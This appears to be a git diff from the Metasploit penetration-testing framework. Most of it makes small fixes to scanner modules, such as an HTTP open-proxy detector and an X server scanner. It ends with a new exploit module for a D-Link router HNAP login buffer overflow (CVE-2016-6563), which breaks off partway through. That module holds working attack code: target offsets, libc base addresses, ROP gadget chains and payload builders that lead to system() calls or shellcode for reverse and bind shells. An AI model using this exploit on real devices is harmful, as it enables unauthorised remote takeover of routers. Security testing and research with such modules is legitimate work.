||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:host],
|
||||||
|
port: opts[:port],
|
||||||
|
protocol: 'udp',
|
||||||
|
workspace_id: myworkspace.id,
|
||||||
|
service_name: opts[:creds_name]
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
username: opts[:user],
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
def warn_error(res)
|
||||||
|
msg = ''
|
||||||
|
|
||||||
|
if Rex::Proto::Kerberos::Model::ERROR_CODES.key?(res.error_code)
|
||||||
|
error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
|
||||||
|
msg = "#{error_info[0]} - #{error_info[1]}"
|
||||||
|
else
|
||||||
|
msg = 'Wrong DOMAIN Name? Check DOMAIN and retry...'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
progress(file_size, file_size)
|
progress(file_size, file_size)
|
||||||
|
|
||||||
fname = datastore['PATH'].gsub(/[\/\\]/, '_')
|
fname = datastore['PATH'].gsub(/[\/\\]/, '_')
|
||||||
p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname)
|
p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname)
|
||||||
print_status("Saved in: #{p}")
|
print_status("Saved in: #{p}")
|
||||||
vprint_status(file_data.inspect)
|
vprint_status(file_data.inspect)
|
||||||
|
|
||||||
|
|
|
@ -89,7 +89,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
# Look for a string we can signature on as well
|
# Look for a string we can signature on as well
|
||||||
if(tcode >= 200 and tcode <= 299)
|
if(tcode >= 200 and tcode <= 299)
|
||||||
|
emesg = nil
|
||||||
File.open(datastore['HTTP404Sigs'], 'rb').each do |str|
|
File.open(datastore['HTTP404Sigs'], 'rb').each do |str|
|
||||||
if(res.body.index(str))
|
if(res.body.index(str))
|
||||||
emesg = str
|
emesg = str
|
||||||
|
|
|
@ -8,8 +8,8 @@ require 'metasploit/framework/credential_collection'
|
||||||
require 'metasploit/framework/login_scanner/buffalo'
|
require 'metasploit/framework/login_scanner/buffalo'
|
||||||
|
|
||||||
class MetasploitModule < Msf::Auxiliary
|
class MetasploitModule < Msf::Auxiliary
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::AuthBrute
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
|
||||||
|
|
|
@ -7,7 +7,7 @@ require 'msf/core'
|
||||||
|
|
||||||
class MetasploitModule < Msf::Auxiliary
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::WmapScanServer
|
include Msf::Auxiliary::WmapScanServer
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
@ -16,8 +16,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'HTTP Open Proxy Detection',
|
'Name' => 'HTTP Open Proxy Detection',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Checks if an HTTP proxy is open. False positive are avoided
|
Checks if an HTTP proxy is open. False positive are avoided
|
||||||
verifing the HTTP return code and matching a pattern.
|
verifying the HTTP return code and matching a pattern.
|
||||||
|
The CONNECT method is verified only the return code.
|
||||||
|
HTTP headers are shown regarding the use of proxy or load balancer.
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -31,224 +33,126 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(8080),
|
Opt::RPORT(8080),
|
||||||
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]),
|
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123', false ]),
|
||||||
OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]),
|
OptBool.new('VERIFYCONNECT', [ false, 'Enable CONNECT HTTP method check', false ]),
|
||||||
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
|
OptString.new('CHECKURL', [ true, 'The web site to test via alleged web proxy', 'http://www.google.com' ]),
|
||||||
OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]),
|
OptString.new('VALIDCODES', [ true, "Valid HTTP code for a successfully request", '200,302' ]),
|
||||||
OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]),
|
OptString.new('VALIDPATTERN', [ true, "Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request", '<TITLE>302 Moved</TITLE>' ]),
|
||||||
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]),
|
|
||||||
OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]),
|
|
||||||
OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]),
|
|
||||||
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
|
||||||
], self.class)
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptString.new('RIPE_ADDRESS', [ true, 'www.ripe.net IP address', '193.0.6.139' ]),
|
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
register_wmap_options({
|
register_wmap_options({
|
||||||
'OrderID' => 1,
|
'OrderID' => 1,
|
||||||
'Require' => {},
|
'Require' => {},
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(target_host)
|
def run_host(target_host)
|
||||||
|
|
||||||
|
check_url = datastore['CHECKURL']
|
||||||
|
|
||||||
|
if datastore['VERIFYCONNECT']
|
||||||
|
target_method = 'CONNECT'
|
||||||
|
# CONNECT doesn't need <scheme> but need port
|
||||||
|
check_url = check_url.gsub(/[http:\/\/|https:\/\/]/, '')
|
||||||
|
if check_url !~ /:443$/
|
||||||
|
check_url = check_url + ":443"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
target_method = 'GET'
|
||||||
|
# GET only http request
|
||||||
|
check_url = check_url.gsub(/https:\/\//, '')
|
||||||
|
if check_url !~ /^http:\/\//i
|
||||||
|
check_url = 'http://' + check_url
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
target_ports = []
|
target_ports = []
|
||||||
|
|
||||||
if datastore['MULTIPORTS']
|
if datastore['MULTIPORTS']
|
||||||
target_ports = [ 80, 1080, 3128, 8080, 8123 ]
|
target_ports = [ 80, 443, 1080, 3128, 8000, 8080, 8123 ]
|
||||||
|
else
|
||||||
|
target_ports.push(datastore['RPORT'].to_i)
|
||||||
end
|
end
|
||||||
|
|
||||||
target_ports.push(datastore['RPORT'].to_i)
|
target_proxy_headers = [ 'Forwarded', 'Front-End-Https', 'Max-Forwards', 'Via', 'X-Cache', 'X-Cache-Lookup', 'X-Client-IP', 'X-Forwarded-For', 'X-Forwarded-Host' ]
|
||||||
|
|
||||||
if datastore['RANDOMIZE_PORTS']
|
|
||||||
target_ports = target_ports.sort_by { rand }
|
|
||||||
end
|
|
||||||
|
|
||||||
target_ports = target_ports.uniq
|
|
||||||
|
|
||||||
site = datastore['SITE']
|
|
||||||
user_agent = datastore['UserAgent']
|
|
||||||
|
|
||||||
target_ports.each do |target_port|
|
target_ports.each do |target_port|
|
||||||
datastore['RPORT'] = target_port
|
verify_target(target_host,target_port,target_method,check_url,target_proxy_headers)
|
||||||
if target_host == site
|
|
||||||
print_error("Target is the same as proxy site.")
|
|
||||||
else
|
|
||||||
check_host(target_host,target_port,site,user_agent)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_pattern(res,pattern)
|
def verify_target(target_host,target_port,target_method,check_url,target_proxy_headers)
|
||||||
|
|
||||||
if (res =~ /#{pattern}/i)
|
vprint_status("#{peer} - Sending a web request... [#{target_method}][#{check_url}]")
|
||||||
return 1
|
|
||||||
else
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
datastore['RPORT'] = target_port
|
||||||
|
|
||||||
def write_request(method,site,user_agent)
|
|
||||||
|
|
||||||
request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" +
|
|
||||||
"Host: " + site + "\r\n" +
|
|
||||||
"Connection: close" + "\r\n" +
|
|
||||||
"User-Agent: #{user_agent}" + "\r\n" +
|
|
||||||
"Accept-Encoding: *" + "\r\n" +
|
|
||||||
"Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" +
|
|
||||||
"Cache-Control: no" + "\r\n" +
|
|
||||||
"Accept-Language: de,en;q=0.7,en-us;q=0.3" + "\r\n" +
|
|
||||||
"\r\n"
|
|
||||||
|
|
||||||
return request
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def send_request(site,user_agent)
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
connect
|
res = send_request_cgi(
|
||||||
|
'uri' => check_url,
|
||||||
request = write_request('GET',site,user_agent)
|
'method' => target_method,
|
||||||
sock.put(request)
|
'version' => '1.1'
|
||||||
res = sock.get_once(-1, 10)
|
|
||||||
|
|
||||||
disconnect
|
|
||||||
|
|
||||||
validcodes = datastore['ValidCode'].split(/,/)
|
|
||||||
|
|
||||||
is_valid = 0
|
|
||||||
retcode = 0
|
|
||||||
retvia = 'n/a'
|
|
||||||
retsrv = 'n/a'
|
|
||||||
|
|
||||||
if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/))
|
|
||||||
|
|
||||||
retcode = $1
|
|
||||||
|
|
||||||
if (res.match(/Server: (.*)/))
|
|
||||||
retsrv = $1.chomp
|
|
||||||
end
|
|
||||||
|
|
||||||
if (res.match(/Via: (.*)\((.*)\)/))
|
|
||||||
retvia = $2
|
|
||||||
end
|
|
||||||
|
|
||||||
validcodes.each do |validcode|
|
|
||||||
if (retcode.to_i == validcode.to_i)
|
|
||||||
is_valid += 1
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if (check_pattern(res,datastore['ValidPattern']) == 1)
|
|
||||||
is_valid += 1
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
retres = [ is_valid, retcode, retvia, retsrv ]
|
|
||||||
|
|
||||||
return retres
|
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def send_request_ripe(user_agent)
|
|
||||||
|
|
||||||
ripe_address = datastore['RIPE_ADDRESS']
|
|
||||||
|
|
||||||
begin
|
|
||||||
connect
|
|
||||||
|
|
||||||
request = write_request('GET',ripe_address,user_agent)
|
|
||||||
sock.put(request)
|
|
||||||
res = sock.get_once(-1, 10)
|
|
||||||
|
|
||||||
disconnect
|
|
||||||
|
|
||||||
retres = 0
|
|
||||||
|
|
||||||
if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/))
|
|
||||||
|
|
||||||
retcode = $1
|
|
||||||
|
|
||||||
if (retcode.to_i == 200)
|
|
||||||
res.match(/Your IP Address is: <strong>(\s+)([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})(\s+)<\/strong>/m)
|
|
||||||
retres = "#{$2}.#{$3}.#{$4}.#{$5}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return retres
|
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def check_host(target_host,target_port,site,user_agent)
|
|
||||||
vprint_status("Checking #{target_host}:#{target_port} [#{site}]")
|
|
||||||
|
|
||||||
is_valid,retcode,retvia,retsrv = send_request(site,user_agent)
|
|
||||||
|
|
||||||
if (is_valid == 2)
|
|
||||||
|
|
||||||
print_status("#{target_host}:#{target_port} is a potentially OPEN proxy [#{retcode}] (#{retvia})")
|
|
||||||
|
|
||||||
report_note(
|
|
||||||
:host => target_host,
|
|
||||||
:port => target_port,
|
|
||||||
:method => 'GET',
|
|
||||||
:proto => 'tcp',
|
|
||||||
:sname => (ssl ? 'https' : 'http'),
|
|
||||||
:type => 'OPEN PROXY',
|
|
||||||
:data => 'Open proxy'
|
|
||||||
)
|
)
|
||||||
|
|
||||||
if (datastore['VERIFY_CONNECT'])
|
return if not res
|
||||||
|
|
||||||
permit_connect,retcode,retvia,retsrv = send_request(site,user_agent)
|
vprint_status("#{peer} - Returns with '#{res.code}' status code [#{target_method}][#{check_url}]")
|
||||||
|
|
||||||
if (permit_connect == 2)
|
valid_codes = datastore['VALIDCODES'].split(/,/)
|
||||||
print_status("#{target_host}:#{target_port} CONNECT method successfully tested")
|
|
||||||
|
target_proxy_headers_results = []
|
||||||
|
target_proxy_headers.each do |proxy_header|
|
||||||
|
if (res.headers.to_s.match(/#{proxy_header}: (.*)/))
|
||||||
|
proxy_header_value = $1
|
||||||
|
# Ok...I don't like it but works...
|
||||||
|
target_proxy_headers_results.push("\n |_ #{proxy_header}: #{proxy_header_value}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if target_proxy_headers_results.any?
|
||||||
|
proxy_headers = target_proxy_headers_results.join()
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['VERIFYCONNECT']
|
||||||
|
# Verifiying CONNECT we check only the return code
|
||||||
|
if valid_codes.include?(res.code.to_s)
|
||||||
|
|
||||||
|
print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}")
|
||||||
|
|
||||||
report_note(
|
report_note(
|
||||||
:host => target_host,
|
:host => target_host,
|
||||||
:port => target_port,
|
:port => target_port,
|
||||||
:method => 'CONNECT'
|
:method => target_method,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:sname => (ssl ? 'https' : 'http'),
|
||||||
|
:type => 'OPEN HTTP PROXY',
|
||||||
|
:data => 'Open http proxy (CONNECT)'
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
else
|
||||||
|
# Verify return code && (headers.pattern or body.pattern)
|
||||||
|
if valid_codes.include?(res.code.to_s) && (res.headers.include?(datastore['VALIDPATTERN']) || res.body.include?(datastore['VALIDPATTERN']))
|
||||||
|
|
||||||
if (datastore['VERIFY_HEAD'])
|
print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}")
|
||||||
|
|
||||||
permit_connect,retcode,retvia,retsrv = send_request(site,user_agent)
|
|
||||||
|
|
||||||
if (permit_connect == 2)
|
|
||||||
print_status("#{target_host}:#{target_port} HEAD method successfully tested")
|
|
||||||
|
|
||||||
report_note(
|
report_note(
|
||||||
:host => target_host,
|
:host => target_host,
|
||||||
:port => target_port,
|
:port => target_port,
|
||||||
:method => 'HEAD'
|
:method => target_method,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:sname => (ssl ? 'https' : 'http'),
|
||||||
|
:type => 'OPEN HTTP PROXY',
|
||||||
|
:data => 'Open http proxy (GET)'
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if (datastore['LOOKUP_PUBLIC_ADDRESS'])
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
|
||||||
|
vprint_error("#{peer} - The port '#{target_port}' is unreachable!")
|
||||||
retres = send_request_ripe(user_agent)
|
return nil
|
||||||
|
|
||||||
if (retres != 0)
|
|
||||||
print_status("#{target_host}:#{target_port} using #{retres} public IP address")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -56,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
if(success == 1)
|
if(success == 1)
|
||||||
vendor_len = response[24,2].unpack('v')[0]
|
vendor_len = response[24,2].unpack('v')[0]
|
||||||
vendor = response[40,vendor_len].unpack('A*')[0]
|
vendor = response[40,vendor_len].unpack('A*')[0]
|
||||||
print_status("#{ip} Open X Server (#{vendor})")
|
print_good("#{ip} Open X Server (#{vendor})")
|
||||||
# Add Report
|
# Add Report
|
||||||
report_note(
|
report_note(
|
||||||
:host => ip,
|
:host => ip,
|
||||||
|
@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
:data => "Open X Server (#{vendor})"
|
:data => "Open X Server (#{vendor})"
|
||||||
)
|
)
|
||||||
elsif (success == 0)
|
elsif (success == 0)
|
||||||
print_status("#{ip} Access Denied")
|
print_error("#{ip} Access Denied")
|
||||||
else
|
else
|
||||||
# X can return a reason for auth failure but we don't really care for this
|
# X can return a reason for auth failure but we don't really care for this
|
||||||
end
|
end
|
||||||
|
|
|
@ -79,7 +79,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
|
raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
|
||||||
|
|
||||||
@sip = datastore['LOCALSIP']
|
@sip = datastore['LOCALSIP']
|
||||||
@sip ||= get_ipv4_addr(@interface)[0] if @netifaces
|
@sip ||= get_ipv4_addr(@interface) if @netifaces
|
||||||
raise "LOCALSIP is not defined and can not be guessed" unless @sip
|
raise "LOCALSIP is not defined and can not be guessed" unless @sip
|
||||||
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
|
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,300 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
# Payload working status:
|
||||||
|
# MIPS:
|
||||||
|
# - all valid payloads working (the ones that we are able to send without null bytes)
|
||||||
|
# ARM:
|
||||||
|
# - inline rev/bind shell works (bind... meh sometimes)
|
||||||
|
# - stager rev/bind shell FAIL
|
||||||
|
# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
|
||||||
|
is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
|
||||||
|
which accepts arbitrarily long strings into certain XML parameters and then copies them into
|
||||||
|
the stack.
|
||||||
|
This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
|
||||||
|
using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
|
||||||
|
this vulnerability is present in both MIPS and ARM devices.
|
||||||
|
The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
|
||||||
|
few load and store instructions. Because of this the payloads have to be sent unencoded, which
|
||||||
|
can cause them to fail, although the bind shell seems to work well.
|
||||||
|
For the ARM devices, the inline reverse tcp seems to work best.
|
||||||
|
Check the reference links to see the vulnerable firmware versions.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2016-6563'],
|
||||||
|
['US-CERT-VU', '677427'],
|
||||||
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
|
||||||
|
],
|
||||||
|
'DefaultOptions' => { 'WfsDelay' => 10 },
|
||||||
|
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target)
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
|
||||||
|
{
|
||||||
|
'Offset' => 3072,
|
||||||
|
'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers
|
||||||
|
'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so
|
||||||
|
'FirstGadget' => 0x4EA1C, # see comments below for gadget information
|
||||||
|
'SecondGadget' => 0x2468C,
|
||||||
|
'ThirdGadget' => 0x41f3c,
|
||||||
|
'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128
|
||||||
|
'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp
|
||||||
|
'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop)
|
||||||
|
'Arch' => ARCH_MIPSBE,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled
|
||||||
|
},
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
|
||||||
|
{
|
||||||
|
'Offset' => 1024,
|
||||||
|
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
|
||||||
|
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so
|
||||||
|
'FirstGadget' => 0x18298, # see comments below for gadget information
|
||||||
|
'SecondGadget' => 0x40CB8,
|
||||||
|
'Arch' => ARCH_ARMLE,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Nov 7 2016',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
|
||||||
|
OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
|
||||||
|
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
|
||||||
|
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
|
||||||
|
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/HNAP1/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'Content-Type' => 'text/xml',
|
||||||
|
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 500
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def calc_encode_addr (offset, big_endian = true)
|
||||||
|
if big_endian
|
||||||
|
[(target['LibcBase'] + offset).to_s(16)].pack('H*')
|
||||||
|
else
|
||||||
|
[(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def prepare_shellcode_arm (cmd)
|
||||||
|
#All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers
|
||||||
|
|
||||||
|
#first_gadget (pops system() address into r3, and second_gadget into PC):
|
||||||
|
#.text:00018298 LDMFD SP!, {R3,PC}
|
||||||
|
|
||||||
|
#second_gadget (puts the stack pointer into r0 and calls system() at r3):
|
||||||
|
#.text:00040CB8 MOV R0, SP
|
||||||
|
#.text:00040CBC BLX R3
|
||||||
|
|
||||||
|
#system() (Executes argument in r0 (our stack pointer)
|
||||||
|
#.text:0005A270 system
|
||||||
|
|
||||||
|
#The final payload will be:
|
||||||
|
#'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
|
||||||
|
shellcode = rand_text_alpha(target['Offset']) + # filler
|
||||||
|
"\xff\xff\xff\xff" + # n integer overwrite (see advisory)
|
||||||
|
rand_text_alpha(16) + # moar filler
|
||||||
|
rand_text_alpha(4) + # r11
|
||||||
|
calc_encode_addr(target['FirstGadget'], false) + # first_gadget
|
||||||
|
calc_encode_addr(target['System'], false) + # system() address
|
||||||
|
calc_encode_addr(target['SecondGadget'], false) + # second_gadget
|
||||||
|
cmd # our command
|
||||||
|
end
|
||||||
|
|
||||||
|
def prepare_shellcode_mips
|
||||||
|
#All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers
|
||||||
|
|
||||||
|
#<sleep> is at 56DF0
|
||||||
|
|
||||||
|
#first gadget - execute sleep and call second_gadget
|
||||||
|
#.text:0004EA1C move $t9, $s0 <- sleep()
|
||||||
|
#.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
|
||||||
|
#.text:0004EA24 li $a0, 2 <- arg for sleep()
|
||||||
|
#.text:0004EA28 lw $s0, 0x20+var_8($sp)
|
||||||
|
#.text:0004EA2C li $a1, 1
|
||||||
|
#.text:0004EA30 move $a2, $zero
|
||||||
|
#.text:0004EA34 jr $t9
|
||||||
|
#.text:0004EA38 addiu $sp, 0x20
|
||||||
|
|
||||||
|
#second gadget - put stack pointer in a1:
|
||||||
|
#.text:0002468C addiu $s1, $sp, 0x58
|
||||||
|
#.text:00024690 li $s0, 0x44
|
||||||
|
#.text:00024694 move $a2, $s0
|
||||||
|
#.text:00024698 move $a1, $s1
|
||||||
|
#.text:0002469C move $t9, $s4
|
||||||
|
#.text:000246A0 jalr $t9
|
||||||
|
#.text:000246A4 move $a0, $s2
|
||||||
|
|
||||||
|
#third gadget - call $a1 (stack pointer):
|
||||||
|
#.text:00041F3C move $t9, $a1
|
||||||
|
#.text:00041F40 move $a1, $a2
|
||||||
|
#.text:00041F44 addiu $a0, 8
|
||||||
|
#.text:00041F48 jr $t9
|
||||||
|
#.text:00041F4C nop
|
||||||
|
|
||||||
|
#When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
|
||||||
|
#prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128
|
||||||
|
#prep_shellcode_2: 03a0f809 jalr sp
|
||||||
|
#branch_delay: 2084f830 addi a0,a0,-2000
|
||||||
|
|
||||||
|
#The final payload will be:
|
||||||
|
#shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
|
||||||
|
shellcode = payload.encoded + # exploit
|
||||||
|
rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler
|
||||||
|
calc_encode_addr(target['Sleep']) + # s0
|
||||||
|
rand_text_alpha(4) + # s1
|
||||||
|
rand_text_alpha(4) + # s2
|
||||||
|
rand_text_alpha(4) + # s3
|
||||||
|
calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget)
|
||||||
|
calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget)
|
||||||
|
rand_text_alpha(0x1c) + # filler
|
||||||
|
calc_encode_addr(target['SecondGadget']) + # second_gadget
|
||||||
|
rand_text_alpha(0x58) + # filler
|
||||||
|
target['PrepShellcode1'] + # exploit prep
|
||||||
|
target['PrepShellcode2'] + # exploit prep
|
||||||
|
target['BranchDelay'] # exploit prep
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_payload (payload)
|
||||||
|
begin
|
||||||
|
# the payload can go in the Action, Username, LoginPassword or Captcha XML tag
|
||||||
|
body = %{
|
||||||
|
